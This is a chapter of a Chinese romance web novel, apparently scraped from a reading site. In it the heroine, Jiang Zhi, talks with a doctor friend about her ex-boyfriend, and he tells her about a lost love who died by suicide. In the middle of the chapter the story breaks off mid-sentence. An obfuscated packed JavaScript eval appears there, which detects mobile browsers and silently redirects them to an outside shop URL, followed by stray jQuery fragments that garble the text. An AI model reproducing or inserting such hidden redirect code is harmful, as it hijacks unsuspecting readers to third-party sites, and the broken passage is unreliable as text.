默认冷灰
24号文字
方正启体

41. 知己

作者:范特非本书字数:K更新时间:
    姜知收起雨具,沿街散了会步,准备更换地点。


    低头时,静音的手机正在显示来电。


    来自大学时的室友,她说下周有个聚餐,问姜知要不要来。


    “我可以啊,”姜知计算了一下时间,爽快答应,“财管一班吗,凑到多少人啦?”


    那边的室友:“不是,是登山社。”


    ……


    她还参加过登山社?


    不仅这一爱好和自己完全搭不上边,更加无法想象一群陌生人一起忆往昔的画面。姜知果断拒绝:“那算了吧,不熟。”


    室友格外坚定:“一定要来!”


    姜知走到路边的石墩旁,后背已经有了轻微的汗意,她用Jeff给的报告单扇着风。室友边叹气边感慨:“哎,其实是老社长的意思。”


    室友开始解释,总之是老社长作为运动员快退役了,马上要去国外定居,临走前想和一手操办的登山社最后团聚一次。团聚团聚,缺人了又怎么能算团聚。


    “对了,你也叫下周时屿呗,我们都没他的联系方式。”


    她打算糊弄过去:“我也没……”


    忙音。


    姜知揉着太阳穴,难怪不记得这个社团了。


    -


    思来想去,还是决定别扫兴——既然是社长的心愿,姜知不想让他们太难做,最后一句就当没听见吧。


    思及此,眉心稍松。而那个昨晚刚加的对话框也在滴滴响个不停,连发来六七条消息。


    周时屿:「[图片]体温。」


    36.7℃,退烧了。


    周时屿:「[图片]今天吃了这些东西。」


    画面中的白菜孤孤零零,旁边依次摆着粥和面条,还真是不能再标准的清淡医院餐。


    周时屿:「[图片]发型。」


    ……?


    视野中跳进新的图片,那是一张自拍。额发蓬松,乖顺地垂下来,面容清俊,对比前几天有了些气色。而且角度问题,隐约拍到了病号服下的锁骨。


    姜知把手机关掉,心跳像城市刚刚苏醒的蝉鸣,没完没了地叫嚣。


    -


    手机又响起来。


    姜知拍着发烫的双颊,忿忿看过去。如果是“身材”加图片之类的,她现在就重新拉黑。


    「冰淇淋,下次。」


    心念一动,她仰起头,阳光照在皮肤的表面,却好像有更热的东西在流动,想到冰凉香甜的口感,不自觉吞了下口水。


    “冰淇淋……啊啊啊,我要吃冰淇淋!”


    有小孩的哭声传来,身旁的母亲大声训斥,都多大了还总想着吃冰淇淋。


    “就要!我都多大了你还管我!”


    食欲急速退下,但脑海里还盘桓着某人的自拍,她拿出手机。


    姜知:「没事别发别的,我很忙没空看。」


    发这句话的直接原因是,想看看他的反应。莫名很想看,尤其是吃瘪后会怎样,姜知毫无负担地想,谁让他擅自发挥。


    果不其然,没声了。她满意地盯着至少停了半分钟的“正在输入中……”,日光从树梢倾泄而下,远处母子俩的身影消失在视线里。


    周时屿:「好。」


    姜知打车到沈疏言的诊所附近,刚踏出两步,感到一阵锐痛。像被谁推了一把,磕到地上,血流不止。


    当然没有真的磕——她蹲下身子,捂住了小腹位置,欲哭无泪。


    ……有点绝望,怎么偏偏是现在。


    这里约等于荒郊野岭,距目的地还有好长的距离。万幸她生理期一向准时,早有准备。


    但是。


    看着自己蜗牛一样的步伐,长出了一口气。


    那边的沈疏言催促:「到了没?」


    姜知有些无奈。


    「你来接我吧,有空的话。」


    特意叮嘱:「开车。」


    她是个痛经反应非常明显的女性,应该有遗传的因素,姜燕书直至现在都还痛,不靠止疼药根本没法活动,姜知和于光每次都会一起安抚她。


    冷空调开始运作,姜知在车上吞了片布洛芬,痛感减了一半。她安心了点,眯起眼打量周边的环境。和Jeff的诊所比起来,自然气息更厚重,浓荫遮蔽,波光粼粼,简直像个度假村。


    姜知直接说了:“好像度假村啊。”


    沈疏言回头:“大胆点,没准就是呢。”


    姜知惊讶:“不能吧。一年多少客流量?”


    沈疏言:“目前只有你来过。”


    这一殊荣让她更惊讶,不过此时没多余精力管理表情,扯出一个虚弱的笑。


    沈疏言边带路边坦言:“之前的说法不准确,这里不是心理诊所。”


    看着的确不像,姜知好奇问:“那是什么?”


    “就是给病人休息的地方。”他目视前方,“城市有时太拥挤,可能偶尔不知道去哪,我就猜,你们需要一个安静的环境。”


    -


    踏进门,手臂又紧紧地贴在小腹上,姜知蹙起眉,有些不好意思地开口:“有暖宝宝吗?”


    沈疏言很快意会,找出热水袋、暖宝宝,又去饮水机处接了杯热水,他善解人意地提出:“要不要先送你回去休息?”


    果然是对比产生美,刚经历过压迫感十足的Jeff,连沈疏言都那么平易近人。


    “不用,缓会就好,”姜知在他去接热水的间隙闭上眼,问,“想聊什么?”


    语气松弛且随意,而实际上她正在对抗生理心理的双重压力,睁开眼,沈疏言闪现在面前。


    沈疏言开口:“说实话,我很欣赏你。”


    姜知一身鸡皮疙瘩:“听上去好像表白,跳过吧。”


    “准确来说,是你们。”就这样沉默了会,他出声叮嘱,“小心烫。”


    体贴,周到,有分寸。


    “我好像对你有一些了解了。”她小声说。


    沈疏言来了点兴趣:“说说看。”


    姜知一愣,意外于对面居然会刨根问底。在冒犯和直接表达中,还是选择加点感性。


    疼痛一浪一浪卷上来,携着压抑许久的情绪,想到室友打了一半的电话,想到自己未能说出口的拒绝,轻叹了口气。


    “沈医生,你可能也不太开心吧。”


    姜知斟酌着,如何才能不冒犯。好像怎样都很冒犯,可毕竟是自己开的头:“就是还挺善良的,是个好人。”


    “善良?”沈疏言挑眉。


    “把一切都安排妥当,想办法让周围人感到温暖,习惯性照顾别人的想法,在他们面前永远有充足的精力,却忘了……问一问自己的感受。”她垂下眸,一口气全部说完。


    沈疏言看着她许久,“可以把我当做一面镜子。”


    “什么意思?”


    “就是你理解的那个意思。”


    还没想好怎么回,就听沈疏言不容置喙的声音传来:


    “所以姜知,你很累。虽然所有人都认为你不会累。你才是更会伪装的那个,随时保持一个样子当然累,当一个圆找不到缺口,意味着无尽的重复,或许是件可怕的事。”


    他说完,收起被卷起一角的情绪,转过身时,却见女生嘴角浮现了一抹很浅的笑。边笑边转动手里的玻璃杯,像在透过实体,望向什么很远的地方。


    “也不全是。”


    姜知想起自己为数不多的任性时刻,坚定地说:“不全是的。”


    沈疏言抬起嘴角,放下心:“嗯,那就好。”


    直到面前的白大褂变成一个小点,姜知反应过来,这个人又巧妙地跳开了自己的话题。


    -


    阳光慢慢移动,空气里飘着洋甘菊香气,若有若无。沙发椅上,累极了的人闭上了眼,脑袋歪向一边,嘴角翘起,像陷在一场美梦中。


    在一起后第一次痛经,周时屿的表现不算很糟糕。他学着网上的样子,也端来一杯红糖水:“姜知,醒醒,先喝一点。”


    眼睛微微睁开一条缝,发现是毫无食欲的暗红色透明液体,立刻闭上。


    接着,她感觉脑袋被抬起,他的气息环绕住她,颊边一热。


    是一个吻,轻得不能再轻。


    “其实红糖水不管用又不健康,对我来说效果还不如某茶的黑糖波波牛乳。”姜知把头埋在他怀里,抱着周时屿撒娇,一半是真话,另一半……她馋奶茶了。


    周时屿却好似听进去了,平时的饮食习惯主打一个好不好吃随便健康就行,甚至在这方面莫名固执,却会在每次肚子痛时,雷打不动送来一杯热奶茶。


    她再也没在生理期见过红糖水了。


    桌上就放着一杯红糖水,姜知是被浓重的气味唤醒的。视野中是颠倒过来的沈疏言的脸,“醒了?”


    “嗯,”姜知有点不自在,“我不能是疼晕了吧?”


    “不是啊,”沈疏言笑笑,“屏蔽机制下的正常反应。看来Jeff那家伙太心急。”


    红糖水入喉,虽说不难喝,但总归单调,除了甜就是甜。


    沈疏言正色:“说回正题吧。关于你和他,有没有感受到这段时间的变化?”


    “不知道,脑子很乱。”姜知如实说。


    “想复合吗?”


    光是听到这个词就有种抽痛感,心里某个地方一抽一抽的:“不想。”


    “想离开吗?”


    姜知持续地放空,热水的蒸汽把视线氤氲得模糊,然后她摇头:“不想。”


    “缓一下。”沈疏言说。


    避开那道视线,姜知深呼吸几下


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17331812|193783||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    “那你呢?”


    “我吗,”姜知想了想,承认道,“……变得很别扭,其实想看见他,又不想那么轻易接受,变得喜怒无常,变得……患得患失。你说得对,不像我自己。”也更容易被牵动情绪。她放下水杯,想起课程绑定时,除了总是错半拍的心跳,还有未曾诉说出口的、隐秘的期待。


    “太正常了,”沈疏言笑意更深,“爱情嘛。”


    “……”姜知的脸颊发烫,别扭比如现在。听见爱情两个字又下意识想反驳,和反驳Jeff时如出一辙。


    “你是不是变成情感调解员了,沈医生?”姜知只能转移话题。


    “你并不是我的病人啊,也成为不了我的病人了,”他摇头,“所以应该是对情敌的问候?”


    “……”


    “哈哈哈,开玩笑的。”


    “可我看你还是觉得像我的医生,”姜知提醒道,“以后应该也是。第一印象是很可怕的,就那个首因效应。”


    “那好吧。”沈疏言接受良好。


    “放弃得可真轻易。”姜知嘴上调侃着,内心却不由得松了口气。


    沈疏言笑笑,不置可否。


    “姜知。”他突然说,“站在局外人的角度,或者说朋友,还是建议你尝试治疗。困在目前的情绪里并不比自以为的痛苦好多少。”


    他又说:“但是别找我了。”


    姜知问:“为什么?”


    沈疏言:“你敢找吗?”


    两人都笑了,都没有说话。


    -


    “哎。和你聊天真轻松。”


    “为什么这么说?”


    姜知无法解释,都是聪明人,知道点到为止,听上去未免太自恋。所以她只说:“我们有一点像。”


    终于发现了?沈疏言把窗户打开,眼镜一推:“适合做知己?不做。”


    “哎你这人,”她有点好奇,“沈医生有放不下的人吗?”


    “有吧。”沈疏言转头去看窗外,含糊道。


    “为什么是‘吧’。”


    “因为,”话到嘴边又拐了个弯,“因为人家根本不认识我。”


    “啊,”姜知完全没料到,“你搞的是暗恋?”


    原来这人时而深沉时而哲学,时而由内而外散发的emo气息并不是错觉?


    沈疏言笑笑,想要揭过:“不提了就。”


    “这不公平啊。”


    “好吧,那就给你转移一下注意力。”沈疏言还是那副漫不经心的样子,“上学的时候做过同学,也是为她学的心理学,就这样。”


    “后来呢?”


    “后来你也知道,心理医生得和病人避嫌,我做不到。”沉默了片刻,“而且说到底,有些病根本是无法医治的,不像身体的顽疾,没有准确的治疗法。”


    “听上去好可惜,那要是不作为医患呢?”姜知比沈疏言还着急,意思是现实里接触。


    “有想过,”沈疏言点头,“但是没机会了,前几年她没有挺过去,自杀了。”


    姜知屏住呼吸,怔了好几秒,才轻声说:“节哀。”


    ……


    这个诊所最初是为什么而建,突然就有了明确的答案。姜知有种共情的难过,原来诗里写的是真的,只是当时已惘然。


    沈疏言反倒没有多余表情,认真说道:


    “所以出于朋友我会劝你,只要人活着,就起码还有机会尝试。我不会很高高在上地和你说,没什么是过不去的,因为人和人的感受不尽相同。但万一,你发现耿耿于怀的东西就是误会一场,是不是就太可惜了?给自己一个机会,和对方无关。”


    他转过身,一字一顿说:“姜知,放过自己。”


    “谢谢你。”姜知咽下最后一口红糖水,在那面镜子里看见自己的脸,由衷地说。


    “你想通就好。”


    “现在可以告诉我了吧,我妈找你什么事。”


    沈疏言一愣,然后慢慢笑了。


    “阿姨给得实在太多了,”他慢悠悠开口,“而且也没说要和你在一起,就说和你多聊聊。”


    果然,就是看中了人家的职业!


    傍晚再度到来,夕阳穿过云层,站在窗边的角度,正好可以观看到一场不被高楼遮挡的日落。金光渲染着天际线,地板颜色由金色转成橙红,但姜知明白,自己该离开了。


    沈疏言冲她摆手:“再见,结婚记得请我。”


    “什么啊!”怎么就扯到结婚了。


    在踏出诊所的那刻,前所未有地放松。就像雨水洗涤过大地,就像雨后放晴的空气里总充斥着一种生机。


    她从没注意过梅雨季过去,原来会像灰色的滤镜被移开,另一份高明度的色彩自此开启,带来更透彻的明快心情。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)